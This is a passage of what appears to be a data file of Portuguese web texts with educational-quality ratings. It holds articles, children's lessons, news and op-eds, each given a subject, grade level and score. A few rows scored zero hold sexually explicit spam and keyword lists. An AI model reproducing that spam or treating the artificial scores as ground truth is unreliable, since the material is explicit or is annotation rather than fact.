meios de comunicação, sindicatos, associações industriais e outras entidades que têm um impacto direto e indireto sobre a opinião pública. A imagem corporativa é a melhor maneira de perceber e de imagem das corporações. No ambiente de negócios competitivo, muitas empresas trabalham para criar e comunicar uma imagem positiva para seus clientes, acionistas, comunidade financeira e público em geral. Uma empresa que que ignora a sua imagem pode encontrar uma variedade de problemas. +Diversos fatores tem contribuição com o crescimento da importância da imagem corporativa. A globalização é um deles, que representa a forma como a organização expande suas operações, tanto externamente quanto internamente. +2 Kunsch (2003) +2.1 Minguez (1999) +2.2 Costa (2001, p.58) +2.3 Ade (2001) +2.4 Jean costa (2012) +Uma analogia simples para entender esses conceitos é imaginar que a imagem corporativa é como uma tela em branco que as pessoas possuem em suas mentes em relação a uma determinada empresa com a qual ainda não tiveram contato. A imagem é o preenchimento dessa tela, como se fosse um quebra-cabeças. As pessoas vão construindo a imagem com peças que a própria empresa fornece. Se a empresa não sabe muito bem como é a tela original (a identidade), não consegue distribuir as peças corretas para preencher a tela na cabeça das pessoas (a imagem). Isso faz com que se forme uma imagem confusa, onde as peças não se encaixam. Assim, é difícil confiar na empresa e formar uma opinião favorável, pois não há clareza e nem coerência. A reputação da empresa fica prejudicada, pois não se consegue discernir os pontos determinantes para a tomada de decisão. Há então os casos presenciados diariamente de peças que não se encaixam, como os anúncios milionários dos bancos afirmando que o cliente é especial, enquanto faz com que eles tenham um tratamento abaixo da crítica, esperando por longos intervalos de tempo para serem atendidos. Definindo é um sistema no qual mostre a finalidade da empresa com o consumidor. +Kunsch (2003)[editar | editar código-fonte] +Segundo Kunsch (2003), a imagem pode ser entendida como uma visão subjetiva da realidade objetiva, ou seja, as pessoas interpretam as mensagens emitidas pela organização ...",original,original,original,original,4,0.8 +"Irmã Carolina descreve porque a leitura de Quarto de Despejo é tão importante. “Ainda que nada substitua a experiência real da vida dos Pobres, esta obra consegue aproximar-nos dela para constatarmos quão pouco mudou e refletirmos sobre como podemos continuar marcando a vida deles por meio de nossa presença, de nosso compromisso e de nossa fé”. +Também porque a autora, Carolina Maria de Jesus, se refere aos vicentinos com muito respeito na obra, cujo trecho é transcrito a seguir. “D. Maria José faleceu. Várias pessoas vieram vê-la. Compareceu o vicentino que cuidava dela. Ele vinha visita-la todos os domingos. Ele não tem nojo dos favelados. Cuida dos miseros favelados com carinho” (sic), página 34. +Quarto de Despejo é um compilado do diário de Carolina Maria de Jesus. Ela morava na Favela do Canindé, em São Paulo, e registrava a dura vida. Foi descoberta pelo jornalista Audálio Dantas que publicou o livro, tornando-o um best seller. A obra já foi traduzida em 13 idiomas e vendida em mais de 40 países. +Raffaella não acredita que Carolina de Jesus tenha sido assistida pelos vicentinos. “Ela sempre foi uma mulher batalhadora, catadora de lixo e que sobreviveu a partir dos seus próprios recursos”. +Segundo a pesquisadora, Carolina morreu em 1977 de insuficiência respiratória. Ela morava em um sítio comprado após a publicação do livro com os poucos recursos que foram a ela destinados, pois teve que sair às pressas da favela, após ser ameaçada pelos moradores contrários à publicação. “Morre pobre, catando lixo e sem realizar o sonho de ser reconhecida pela grande escritora que foi”, lamenta Raffaella. +A pedido da equipe de jornalismo do SSVPBRASIL, a Irmã Carolina Mureb faz uma resenha de Quarto de Despejo, o livro mais famoso de Carolina Maria de Jesus, que ainda tem outras obras publicadas. Confira a seguir: +“Levantei nervosa. Com vontade de morrer. Já que os pobres estão mal colocados, para que viver? Será que os pobres de outro País sofrem igual aos pobres do Brasil?” (p.33). Carolina Maria de Jesus, moradora da primeira grande favela da cidade de São Paulo, a Canindé, que foi desocupada em meados de 1960 para a construção da Marginal Tietê, registrou esta angústia no seu diário no dia 17 de maio de 1958. Certamente, muitos dos empobrecidos aos quais servimos ainda têm os mesmos sentimentos e as mesmas perguntas. Por isso, o livro “Quarto de Despejo: diário de uma favelada”, uma edição dos diários escritos por esta mineira, mãe solteira de três filhos, catadora de papel, leitora e escritora voraz, continua, assustadoramente, atual. +Quando o repórter Audálio Dantas descobriu que ela mantinha diários resolveu publicá-los, primeiro, na revista “O Cruzeiro”, depois como um livro. Carolina gostava muito de ler e escrever e dizia que quando tinha fome, ao invés de xingar, escrevia no seu diário. A publicação dos seus escritos permitiu que saísse da favela, seu grande sonho, mas não da pobreza. Morreu quase esquecida pelo público e pela imprensa, em 1977, num pequeno sítio na periferia de São Paulo. +“Quarto de Despejo” é um best-seller internacional, tendo sido traduzido para 13 línguas. Carolina tem uma linguagem realista e objetiva, mas que revela um certo lirismo, e demonstra uma visão crítica da realidade. A publicação conservou a linguagem da autora mesmo quando ela contraria a gramática, incluindo a grafia e acentuação das palavras.",original,original,original,original,5,1.0 +"Currículo na Educação Integral +Há distintas concepções de currículo, associadas a diferentes formas de se conceber a educação. De maneira geral, pode-se afirmar que currículo é a seleção cultural de determinados conhecimentos e práticas de ensino-aprendizagem que, produzidos em contextos históricos determinados, procuram garantir aos educandos o direito à riqueza de conhecimentos e de cultura produzidos socialmente. +Na perspectiva da educação integral, o currículo alça contemplar o desenvolvimento de todas as potencialidades, ou dimensões formativas, dos sujeitos, considerando não apenas os aspectos intelectuais dos estudantes, mas também os afetivos, corporais, simbólicos e éticos. +Currículo como construção cultural +As teorias do currículo empenham-se em responder perguntas sobre o conhecimento a ser ensinado aos estudantes e o tipo de ser humano desejável para um determinado tipo de sociedade. Como apontado pelos pesquisadores Antônio Flávio Moreira e Tomaz Tadeu no livro ""Currículo, cultura e sociedade"", embora questões relacionadas ao ""como"" do currículo continuem importantes, elas só ganham sentido quando relacionadas ao ""porquê"" das formas de organização do conhecimento escolar. +Nesse sentido, o currículo, como construção cultural, está sempre vinculado a formas específicas de organização da sociedade e da educação, e não pode ser compreendido como um campo neutro, ou algo estático. Para o educador espanhol José Sacristán, é antes o resultado de um equilíbrio de interesses e forças que gravitam sobre o sistema educativo em um determinado momento, configurando-se como o reflexo de um determinado projeto de cultura e de socialização. +Grande parte do currículo muitas vezes não é explicitada em planos e propostas, mas surte forte efeito na escola, na medida em que se traduz em atitudes e valores transmitidos pelas relações sociais e pelas rotinas do cotidiano escolar. É o chamado currículo oculto. Fazem parte do currículo oculto, relações hierárquicas, regras e procedimentos, formas de distribuir os estudantes por grupamentos e turmas, visões transmitidas por livros didáticos, entre outros. +Entretanto, seja qual for a concepção de currículo adotada, não há dúvidas de sua importância. É por intermédio do currículo que todos os esforços pedagógicos acontecem na escola. +E, nessa perspectiva, a Educação Integral problematiza o currículo na medida em que recoloca o estudante na centralidade dos processos educativos e ambiciona contemplar suas diferentes dimensões formativas, levando em consideração a ampliação de tempos, espaços e agentes educativos. Ao buscar a integração dos saberes acadêmicos aos saberes locais, oriundos do território onde vivem esses estudantes, põe-se em cheque a fragmentação cartesiana de conteúdos, representada por matérias ou disciplinas, e volta-se para uma dimensão integral do conhecimento a ser produzido. +Dessa forma, vale lembrar que o currículo na Educação Integral não corresponde em nenhuma medida à justaposição do currículo de turno regular ao currículo de turno expandido, mas sim à reorientação estrutural de todo o processo de ensino-aprendizagem, de forma que elementos significativos da vida dos estudantes e de suas comunidades possam ser os articuladores dos diversos campos de conhecimento acionados nas práticas pedagógicas escolares. Como aponta o educador espanhol Miguel Arroyu, o currículo da educação integral dialoga com a vida:",original,original,original,original,4,0.8 +"Olá, pequenos exploradores da história! Já pararam para pensar por que comemos pamonha nas festas juninas, ou por que o carnaval é tão colorido e cheio de música? Tudo isso faz parte das nossas tradições culturais, que são como um tesouro cheio de histórias e costumes passados de geração em geração. + +Imagine que o Brasil é como um grande livro de receitas, onde cada família adiciona um ingrediente especial. Essas receitas são as nossas tradições! Algumas vêm dos povos indígenas, os primeiros habitantes do Brasil, que nos ensinaram a amar a natureza e a usar plantas medicinais. Outras vieram da África, com os africanos que trouxeram ritmos contagiantes como o samba e comidas deliciosas como o acarajé. E não podemos esquecer dos europeus, que trouxeram a língua portuguesa e muitas outras influências. + +As tradições culturais estão por toda parte! Na música que ouvimos, nas danças que praticamos, nas comidas que saboreamos, nas festas que celebramos e até nas histórias que nossos avós nos contam. Elas são como um mapa que nos ajuda a entender quem somos e de onde viemos. + +Que tal observar as tradições da sua família? Talvez vocês tenham um jeito especial de comemorar o aniversário de alguém, ou uma receita secreta de bolo que só a vovó sabe fazer. Essas são as pequenas tradições que fazem a nossa cultura ser tão rica e diversa. E você, o que pode fazer para manter viva as tradições da sua comunidade? Converse com seus pais, avós e vizinhos. Aprenda sobre as festas e costumes da sua região. Assim, você estará ajudando a preservar o nosso tesouro cultural para as futuras gerações. + +Lembre-se, cada tradição é como uma peça de um grande quebra-cabeça. Juntas, elas formam a linda imagem da nossa cultura brasileira. E você é uma peça fundamental dessa história!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma acessível e envolvente para crianças. Aborda a diversidade das influências culturais no Brasil (indígena, africana e europeia), incentivando a reflexão sobre a identidade cultural e a importância de preservar as tradições locais e familiares. A linguagem é adequada ao público-alvo, e o conteúdo é relevante para o currículo do ensino fundamental.",5,1.0 +"Odebrecht Realizacoes Imobiliarias S é sócio de 5 empresas no estado de Minas Gerais e 6 em São Paulo. +Natureza jurídica: Consorcio De Sociedades (2151).",original,original,original,original,1,0.2 +"A Secretaria de Pesca, Agricultura e Meio Ambiente realizou nesta sexta-feira, 3, atividades em alusão ao Dia do Meio Ambiente, comemorado neste domingo, 6. As crianças dos 4º e 5º anos das escolas José Réus, da Lagoa dos Freitas, e Profª Amélia de Souza Silva, da Barra Velha, participaram do plantio de mudas nativas nas Lagoas do Freitas e do Faxinal. +De acordo com o Secretário Paulo Amboni, esta atividade visa fortalecer o vínculo da criança com a natureza. “O objetivo principal é proporcionar às crianças o convívio com a natureza, fazendo com que elas plantem e conheçam as plantas nativas do município”, explicou. +Foram plantadas 13 mudas na Lagoa dos Freitas e outras 8 na Lagoa do Faxinal. Araçá, Pitanga e Jerivá foram algumas das semestres plantadas pelas crianças. +Na próxima terça-feira, é a vez das crianças da Escola Arroio Rincão participarem das atividades relacionadas ao meio ambiente. O grupo escolar vai participar do plantio de mudas fixadoras de dunas. O Rincão é pioneiro na reprodução de mudas nativas fixadoras, através do horto municipal. +← Alunos do Rincão recebem uniforme de futsal +Temporada de festas juninas tem início neste sábado → +Você pode gostar +Agentes de Saúde recebem capacitação sobre a Dengue +12 de fevereiro de 2015 fecam +Formatura da turma de Costura Industrial do Pronatec é dia 22 +20 de outubro de 2014 fecam +Balneário Rincão registra seu primeiro caso confirmado de coronavírus +5 de maio de 2020 fecam +Fruta exótica estará entre os produtos da Feira da Agricultura Familiar +16 de março de 2015 fecam +Rincão oferece seminário para empreendedores +18 de novembro de 2013 fecam +Festa da Tainha promove Seminário da Pesca e Agricultura +12 de julho de 2013 fecam +Informações Municipais +Prefeito(a): Jairo Celoy Custodio +Vice Prefeito(a): Luiz Gustavo da Luz Neto +Microrregião: Microrregião da Região Carbonífera +Aniversário: 03/10 +Habitantes: 12946 (IBGE/2019) +Eleitores: 11453 (TSE/2019) +PIB: R$ 225.341.000,00 (IBGE/2018) +Apoio +Links +Início +Município +Agenda +Festas Tradicionais +História do Rincão – Elza de Mello +História do Rincão – Maria de Fátima Pavei +Nossa história +Pontos turísticos +Mapa Oficial +Marcos Geodésicos +Governo +Secretaria de Educação +Secretaria de Saúde +Sec. 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Porém, a desa...",original,original,original,original,3,0.6 +Câmara realiza Sessão Solene em comemoração ao Dia da Reforma Protestante,original,original,original,original,1,0.2 +"Resumo da Chuva: Setembro 2009 +DIPLOMATA AFIRMA QUE O POVO HONDURENHO VAI RETOMAR O PODER +Por Marcelo Salles (do ótimo Fazendo Media)Acabo de conversar, por telefone, com Gioconda Perla, Consul-Geral de Honduras no Rio de Janeiro. Refugiada no Canadá depois que o governo golpista cancelou seu salário e a verba de representação, ela disse ainda não ter uma situação clara que lhe garanta o retorno ao Brasil.Com a volta do presidente Manuel Zelaya a Honduras, Gioconda acredita que aumentam as chances de retomada do poder. “Esse povo vai conseguir, Marcelo. Sabíamos que teríamos apoio no país, mas a reação do povo superou todas as expectativas”, disse. A diplomata afirmou ainda que o povo já não acata as ordens do toque de recolher, a resistência está nas ruas.Gioconda confirmou os cortes de energia elétrica e água na embaixada do Brasil, que dá abrigo a Zelaya. Também confirmou a explosão de bombas de gás lacrimogêneo e a utilização de uma antena que produz um barulho ensurdecedor, nas imediações da embaixada, além da repressão armada contra o povo.A Cônsul-Geral encerrou a conversa agradecendo ao povo brasileiro e à imprensa democrática, que não distorce as informações: “o povo hondurenho está grandemende agradecido ao povo e ao governo brasileiro pela proteção”.Em discurso que terminou há poucos minutos, o presidente Manuel Zelaya disse que os golpistas têm um plano para invadir, ainda nesta madrugada, a embaixada para sequestrá-lo e assassiná-lo, fazendo parecer suicídio.PS: Você pode ler esta notícia gratuitamente, mas sua produção tem um custo. Ajude a manter o Fazendo Media assinando o jornal impresso ou doando qualquer quantia: clique aqui..REPRESSÃO EM HONDURASPor Fazendo Media +A leitura inspira a escrever e escrever inspira a tudo… +Esta eu tirei do blogue Ler pra Crescer, da Cristiane Rogerio, editora de Educação e Cultura da Revista Crescer :.Uma das coisas maravilhosas de se ler é poder escrever. Parece óbvio ou pouco, mas escrever é o nosso canal mais incrível de comunicação. E as crianças já aprendem que as palavras estão aí para brincarmos com elas - e o ideal é que elas nunca desaprendam isso.Conforme vão crescendo, entendem também que nós temos regras para nos comunicar pela escrita. As ortográficas acabaram de mudar e uma coisa que pensei muito aqui era como isso ia se dar com as crianças em uma determinada fase escolar que tivesse uma curta vivência com as regras antigas. Ou seja, quase que mal aprenderam as regras, já viram tudo mudar.Mas a sobrinha de uma querida colega de CRESCER, a jornalista Renata Rangel, nos enviou um poema enviado por sua sobrinha e justamente sobre o tema. Renata ficou abismada com o fato de ela escrever tão bem. E, o melhor: escreveu sobre o escrever.Vejam que lindo. Mostrem aos seus filhos, e inspire-os a escrever todos os dias assim que eles se sentirem ‘dominantes’ da nossa tão linda língua portuguesa. Theodora, parabéns!!.NOVA REGRAMataram o acento,Assassinaram o hífen,Agora sentem-se no assento,que lá vem nova regra.A onomatopeia ficou muda,A assembleia, sem assunto,A centopeia perdeu as pernase a ideia saiu da minha cabeçaTadinha da velha senhora,Que agora não sabe de nadaE o senhor?!Que horror!As crianças estão confusas,Sem sabero que fazerpara a nova regra aprenderescrito por Theodora Rangel Carvalho, de 11 anos e que cursa 6º ano do Ensino Fundamental +11 de Setemnbro - Nada Mudou +Por Roy Frenkiel.Onde estávamos no dia 11 de Setembro?Todos os anos, a mesma pergunta. Onde você estava quando as Torres Gêmeas do World Trade Center caíram no dia 11 de Setembro de 2001?Para mim, passados oito anos, a pergunta verdadeira é: E o que importa onde cacetetes eu estava no dia 11, ou o que eu fazia, ou o que eu pensava, ou como percebi a mudança mundial à minha volta?Entendo que queiramos remontar da memória e reconstruir a passos ligeiros uma compreensão (interpretada através de nossas experiências, logo interpretada subjetivamente) do que nos lembramos dessa data. Mas oito anos passados ...",original,original,original,original,4,0.8 +Mega dote pornô gay: Envie você também as suas fotos e videos amadores...,original,original,original,original,0,0.0 +"No início da década de 1950, o quadro político era bastante adverso para o Partido Comunista Brasileiro (PCB), posto na ilegalidade em 1947 e que, desde então, atuava na clandestinidade. Os comunistas brasileiros, filiados ou não ao PCB, ressentiam-se da falta de espaço para o exercício de um debate político-cultural independente das diretrizes partidárias, onde intelectuais e militantes comunistas pudessem expressar suas posições e pontos de vista. +É nesse contexto que a editora Brasiliense, do editor e historiador paulista Caio Prado Júnior, lançou a “Revista Brasiliense”, cujo primeiro número circulou em setembro de 1955, no final da campanha presidencial. Seu manifesto de fundação defendia com clareza os princípios nacionalistas e marxistas que norteariam a revista. Dirigida por Elias Chaves Neto, a “Revista Brasiliense” contava com uma extensa lista de colaboradores, na maioria simpatizantes do PCB, mas que não se envolviam diretamente com as tarefas partidárias nem com as disputas internas — não se submetiam, por isso mesmo, à disciplina dos militantes orgânicos. +O periódico, ao se apresentar como publicação desvinculada e independente de filiações partidárias, destinando-se a promover debates de natureza político-ideológica e literocultural, tinha assim espaço para divergir da orientação oficial do partido, embora os comunistas vinculados ao PCB predominassem na lista de colaboradores. +Caio Prado Júnior, Álvaro de Faria, Paulo Alves Pinto e Salomão Schattan foram os nomes que mais se destacaram na produção dos conteúdos publicados, com ênfase nos estudos sobre a realidade social brasileira. A editora Brasiliense bancava sua publicação com recursos próprios, sem recorrer a verbas publicitárias e institucionais nem a recursos partidários. +Embora bem-vista pelos círculos culturais e acadêmicos, desde o lançamento a revista foi recebida com reserva pelos dirigentes do PCB, e por isso mesmo seus fundadores procuraram evitar confrontos diretos com o partido, imprimindo aos artigos e textos um cunho marxista e nacionalista e priorizando os estudos históricos, literários, sociológicos e filosóficos. +Bimestral, a “Revista Brasiliense” foi publicada ininterruptamente por nove anos, totalizando 51 edições que hoje são uma importante fonte de consulta para compreender aquele período. Deixou de ser publicada após o golpe de 1964.",original,original,original,original,4,0.8 +"Delicia de gata safada se masturbando | quantrisk.ru +Delicia de gata safada se masturbando +Calcinha » Bucetas raspadas » Delicia de gata safada se masturbando +Postado em: Bucetas raspadas, Novinha gostosa, Peitudas gostosas, Ruivas gostosas +imagens de atrizes porno dani bolina nua na sexy negras peladas e gostosas cleo cadilac fodendo pica na chereca lindas buceta fotos de mulheres com bucetas lindas fotos putinhas peladas panicat juju pelada meninas novinhas peladinhas fotos da buceta de viviane araujo fotos de rolas gozadas loiras gostosinhas gostosas da net pelada buceta de atrizes famosas todas panicats nua juliana bbb pelada foto de mulheres negras peladas fotos da paniquetes peladas mulheres bucetudas fotos bucetinhasgostosas fotos da atriz porno julia paes lívia andrade peladona japonesa bucetudas mulher file buceta imagens de mulheres nuas morenas fotos de bucetas de famosas porno brasileras gostosas fotos mulheres bonitas nuas nuas e bonitas gloria pires nua na playboy fotos de mulheres super gostosas peladas fotos monica mattos fudendo bucetas esquisitas moças bucetudas viviane araújo peladinha quero ver novinha pelada mulheres peladas gostosas fotos juju salimeni bucetuda juliana paes nua mostrando a buceta fani mostrando a buceta bucetinha rosada fotos vai novinha raspadinha fotos gretchen pelada fotos de mulheres deliciosas mendigata do panico nua assistir mulheres peladas foto da mulher melão pelada ver dani bolina pelada fotos de mulher pelada famosa mulheres nuas morena bruna surfistinha dando gostoso porno com brasileira gostosas imagens de mulheres fudendo gostoso juliana paes playboy como ver uma mulher pelada gostosas da playboy nua nuas que cairam na net foto de viviane araújo pelada orientais pelada jessica correa brasileirinhas sexi eva andressa imagens nanda costa nua fotos xerecas bruna ferraz playboy sexo grupal com lesbicas amadoras gatas nuas vivi fernandes fodendo filme porno da viviane fernandes fotos de mel lisboa",original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é gigante e cheio de lugares diferentes? Hoje, vamos embarcar em uma aventura para descobrir as paisagens brasileiras! + +Imagine que você está viajando pelo nosso país em um carro mágico. Pela janela, você pode ver muitas coisas diferentes. Em alguns lugares, vemos um marzão azul e praias com areia branquinha, onde as ondas fazem um barulho gostoso. Essa é a paisagem litorânea, presente em muitas cidades do Brasil. Já brincou na praia de construir castelos de areia? + +Se continuarmos a viagem, podemos chegar em lugares onde a terra é vermelhinha e as plantas são mais baixinhas e retorcidas. Essa é a paisagem do Cerrado, um lugar muito importante para a natureza, com árvores como o ipê, que enche a paisagem de cores quando floresce. Já viu uma flor amarela bem vibrante? Pode ser um ipê do Cerrado! + +E se formos ainda mais para o interior, encontramos a maior floresta do mundo: a Amazônia! Lá, as árvores são altíssimas e tão juntas que quase não deixam a luz do sol passar. Vivem muitos animais diferentes, como macacos, araras e peixes coloridos. Já imaginou a quantidade de sons diferentes que podemos ouvir em uma floresta como essa? + +Outra paisagem muito interessante é a da Caatinga, no Nordeste do Brasil. Lá, chove pouco e o sol é forte, então as plantas precisam ser muito resistentes. Algumas árvores, como o mandacaru, guardam água dentro delas para sobreviver. Já viu um cacto? Ele se parece um pouco com as plantas da Caatinga! + +Ah, e não podemos esquecer das montanhas! No Sul do Brasil, podemos encontrar paisagens com muitas montanhas e vales, onde faz até um pouco de frio no inverno. Já brincou de imaginar que as nuvens são montanhas de algodão? + +Cada uma dessas paisagens é especial e importante. Elas são a nossa casa, e precisamos cuidar delas para que continuem lindas e cheias de vida. Que tal, depois dessa viagem, você desenhar a paisagem que mais gostou? Ou então, pesquisar mais sobre os animais e plantas que vivem em cada uma delas? Descobrir o Brasil é uma aventura incrível! ",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir as paisagens brasileiras de forma lúdica e acessível para crianças, incentivando a curiosidade e o aprendizado sobre a geografia e a natureza do Brasil. A linguagem é adequada ao público infantil, e o conteúdo é relevante para o currículo escolar, especialmente nas áreas de geografia e ciências. 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Esses animais são chamados de herbívoros. Outros animais, como os leões e as cobras, comem outros animais que, por sua vez, se alimentaram de plantas. Esses são os carnívoros. E ainda temos os onívoros, como nós humanos, que comem tanto plantas quanto animais. Percebe como a cadeia alimentar sempre começa com as plantas? + +Além de fornecer alimento, as plantas também oferecem abrigo para muitos animais. Pássaros constroem seus ninhos nas árvores, macacos se balançam nos galhos, e muitos insetos vivem nas folhas e flores. As florestas, por exemplo, são verdadeiros lares para uma enorme variedade de animais. + +Mas a relação não é só de mão única. Os animais também ajudam as plantas! As abelhas, por exemplo, transportam o pólen de uma flor para outra, permitindo que as plantas se reproduzam. Esse processo se chama polinização. Outros animais, como os pássaros e os macacos, comem os frutos das plantas e espalham as sementes por diferentes lugares, ajudando as plantas a se espalharem e crescerem em novos locais. Já notou como algumas árvores nascem em lugares inesperados, como em rachaduras de muros ou em beiras de estradas? Muitas vezes, um animal foi o responsável por levar a semente até lá! + +A destruição das florestas e a poluição do meio ambiente ameaçam tanto os animais quanto as plantas. Quando desmatamos uma floresta, não estamos apenas derrubando árvores, mas também destruindo o lar de muitos animais e interrompendo a cadeia alimentar. A poluição da água e do ar também afeta a saúde das plantas e dos animais, colocando em risco a vida em nosso planeta. + +Proteger o meio ambiente é responsabilidade de todos nós. Pequenas atitudes, como plantar uma árvore, economizar água, separar o lixo para reciclagem e evitar o desperdício de alimentos, podem fazer uma grande diferença. Ao cuidarmos das plantas e dos animais, estamos cuidando de nós mesmos e garantindo um futuro mais saudável para as próximas gerações. Que tal começar hoje mesmo a fazer a sua parte? + +Será que você consegue identificar exemplos de animais e plantas que vivem perto da sua casa e como eles interagem entre si? Pense nisso e observe a natureza ao seu redor com mais atenção. Você vai se surpreender com a complexidade e beleza das relações entre os seres vivos!",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O texto é altamente relevante e proveitoso para fins educacionais no ensino fundamental. Apresenta uma explicação clara e consistente sobre a relação entre animais e plantas, abordando conceitos como fotossíntese, cadeia alimentar, polinização e a importância da preservação ambiental. O estilo de escrita é acessível e adequado para diferentes faixas etárias, tornando o conteúdo valioso para um aprendizado estruturado. Além disso, estimula a reflexão e a observação da natureza, incentivando ações de cuidado com o meio ambiente.",5,1.0 +"Gostosa carioca está sedenta por prazer e convida um amigo para uma noite diferente. Ele até pensa se tratar de uma cervejinha, talvez uma conversa fiada mas quando ela já abre a porta usando apenas um fio dental a imaginação voa longe. Por mais amigo que fossem não há como resistir a uma xoxota pulsando na calcinha e louca para sentir o corpo ferver de tesão.",original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Já pararam para pensar em como o Brasil é grande e cheio de lugares diferentes? Nosso país é como um livro gigante de paisagens, com capítulos que nos contam histórias incríveis sobre a natureza e as pessoas que vivem aqui. Vamos juntos nessa aventura para descobrir um pouquinho mais sobre as paisagens brasileiras! + +Primeiro, imagine que você está voando bem alto, como um passarinho. Lá de cima, você veria um montão de cores e formas diferentes. Algumas partes são bem verdes, com muitas árvores e rios, como a Floresta Amazônica, que é a maior floresta do mundo! Nela, vivem muitos animais, como macacos, araras e onças. Já outras partes são mais secas e amareladas, como o Sertão, onde o sol brilha forte e chove pouco. Lá, as plantas e os animais precisam ser muito espertos para sobreviver! + +Mas não para por aí! O Brasil também tem praias lindas, com areia branquinha e água azulzinha, como as praias do Nordeste. Quem já foi à praia sabe como é gostoso sentir a brisa do mar e brincar na areia, não é mesmo? E que tal as montanhas? No Sul do Brasil, as montanhas são altas e, no inverno, até podem ficar branquinhas de neve! Imagina que legal? + +E as cidades? Elas também fazem parte das paisagens brasileiras! Em algumas cidades, como São Paulo, vemos muitos prédios altos e carros por todos os lados. Já em outras, como Ouro Preto, no interior de Minas Gerais, as casas são mais antigas e contam um pouco da história do Brasil. Cada cidade tem seu jeito especial, com suas cores, seus cheiros e seus sons. + +É importante lembrar que as paisagens do Brasil estão sempre se transformando. As pessoas constroem casas, plantam alimentos, criam animais e, assim, modificam a natureza. Por isso, é fundamental cuidarmos do nosso planeta e protegermos as nossas paisagens, para que elas continuem lindas e cheias de vida por muitos e muitos anos. + +Que tal agora você desenhar a sua paisagem preferida do Brasil? Pode ser a praia, a floresta, o campo ou a cidade. Use sua imaginação e mostre como você vê o nosso país! E lembre-se: cada paisagem é única e especial, assim como você!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O texto apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz o conceito de paisagens brasileiras de forma lúdica e acessível, abordando diferentes biomas e regiões. Estimula a imaginação e a criatividade ao propor um desenho da paisagem preferida. A linguagem é adequada e o conteúdo relevante para o currículo escolar, promovendo o conhecimento geográfico e a conscientização sobre a importância da preservação ambiental.",5,1.0 +"O mundo foi convocado a acordar de um transe, durante a Assembleia Geral da ONU. O secretário-geral da ONU, António Guterres, foi duro nas palavras e lembrou que estamos na rota de aquecimento médio de 2.7 graus Celsius até o fim do século, muito acima do limite considerado seguro (de 1.5 graus) segundo a ciência. É preciso romper a inação e dar às novas gerações motivos para acreditar que governos ainda são dignos de confiança e capacidade para resolver esse problema. +Relatório publicado pela Convenção Quadro sobre Mudança do Clima (UNFCCC) às vésperas da Assembleia Geral traduziu em números de emissões a diferença significativa entre necessidade e ambição para a descarbonização: chegaremos em 2030 com apenas 12% de redução das emissões globais em relação a 2010, sendo que a recomendação do Painel Intergovernamental de Mudança do Clima (IPCC) é de um corte de 45%. +O Brasil é um dos países que está nos holofotes de Guterres e também da comunidade internacional, por sua contribuição significativa a esse problema. Nesse sentido, são três as grandes cobranças em relação ao nosso país: credibilidade, ambição e visão. Mas tais questões não permearam a participação do presidente brasileiro na Assembléia Geral deste ano. +Sobre credibilidade, Jair Bolsonaro anunciou que o Brasil se comprometeria com a neutralidade de emissões até 2050. A fala original foi na cúpula convocada pelo presidente americano Joe Biden, em abril último. Hoje, Bolsonaro repetiu essa promessa em seu discurso. +O gesto, no entanto, nunca ganhou forma: nossa chancelaria não submeteu esse número à ONU como compromisso firme dentro do prazo de inscrição das novas contribuições nacionalmente determinadas (NDCs) em julho deste ano. O Brasil também não desenvolveu, de abril para cá, uma estratégia de longo prazo, como fizeram outras 28 nações, inclusive México e Colômbia na nossa região. Na verdade, não houve tampouco a incorporação de tal diretriz em decretos, portarias ou outras normas domésticas. Portanto, o que Jair Bolsonaro disse ao mundo em abril e hoje não passam, até agora, de palavras ao vento. Palavras que ocupam espaço e animam interlocutores internacionais, enquanto faltam ações e resultados concretos para guiar os seus próximos 15 meses de gestão. +Quanto à ambição, até agora o Brasil é um dos poucos países que não melhorou sua meta de redução de emissões para 2030. No relatório da ONU já citado, entramos com a NDC atualizada em dezembro de 2020, proposição cuja qualidade foi questionada em diversas avaliações técnicas, nacionais e internacionais. +Estudos do WWF Internacional, do Climate Action Tracker e do World Resources Institute apontaram que a atualização feita pelo governo Bolsonaro se tratou de um retrocesso em relação à meta de 2016. Isso porque o Brasil poderá aumentar suas emissões nesta década e, com isso, deixar de atender ao princípio da progressividade dos compromissos, exigido pelo Acordo de Paris. Esse ponto virou objeto de ação judicial doméstica e ainda poderá ser questionado por pares dentro da Convenção do Clima. Uma vulnerabilidade desnecessária: bastaria que o governo recuperasse o número anterior absoluto de emissões do ano 2005 e estaria livre desse problema. Não o fez e não pretende fazê-lo, como explico a seguir. +Por fim, Bolsonaro irá lançar um plano de implementação da NDC e essa será a sua grande “entrega” à COP-26, a ser realizada em novembro, em Glasgow. O perigo é prático e real: implementar tal meta significa permissão para manter a taxa de desmatamento até 2030, ou seja, 10 mil km² anuais em média, segundo cálculo do Seeg. +Levar essa referência para o campo dos investimentos e dos negócios pode ser desastroso. A redução da taxa de desmatamento medida pelo Instituto Nacional de Pesquisas Espaciais (Inpe) é hoje um dos principais indicadores de credibilidade do Brasil no mundo. De Cingapura à Nova Iorque, os investidores estão acompanhando nosso desempenho e calibrando suas decisões. +Seguir a NDC de Bolsonaro à risca signific...",original,original,original,original,4,0.8 +"Os quatro eixos principais de ação são formados pelas áreas de educação empreendedora, desburocratização e simplificação, inovação e tecnologia, agronegócio e turismo +“Para cada eixo temos coordenadores de trabalho e um plano de ação”, afirma Silvana +“Estamos conscientes da nossa missão, mas principalmente, da importância de trabalharmos em conjunto +Segundo a gerente regional do Sebrae Norte, Silvana Berguemaier, o Comitê de Governança Empreendedora de Erechim envolve lideranças do município, representantes da iniciativa privada, poder público e universidades. “Disponibilizamos uma capacitação para essas lideranças no sentido de prepará-las para pensar e discutir ações estratégicas de desenvolvimento para o município”, afirma. +Segundo Silvana, os quatro eixos são formados pela área de educação empreendedora, desburocratização e simplificação, inovação e tecnologia, e agronegócio e turismo. “Para cada eixo temos coordenadores de trabalho e um plano de ação, que será desmembrado em atividades envolvendo outras pessoas que não participaram da capacitação, mas que possam vir a colaborar nesse processo”, destaca. +“A ideia é que esse comitê venha definir ações estratégicas para o desenvolvimento do município e que seja um grupo pensante capaz de mapear possíveis melhorias no ambiente para as microempresas e possam implementar algumas 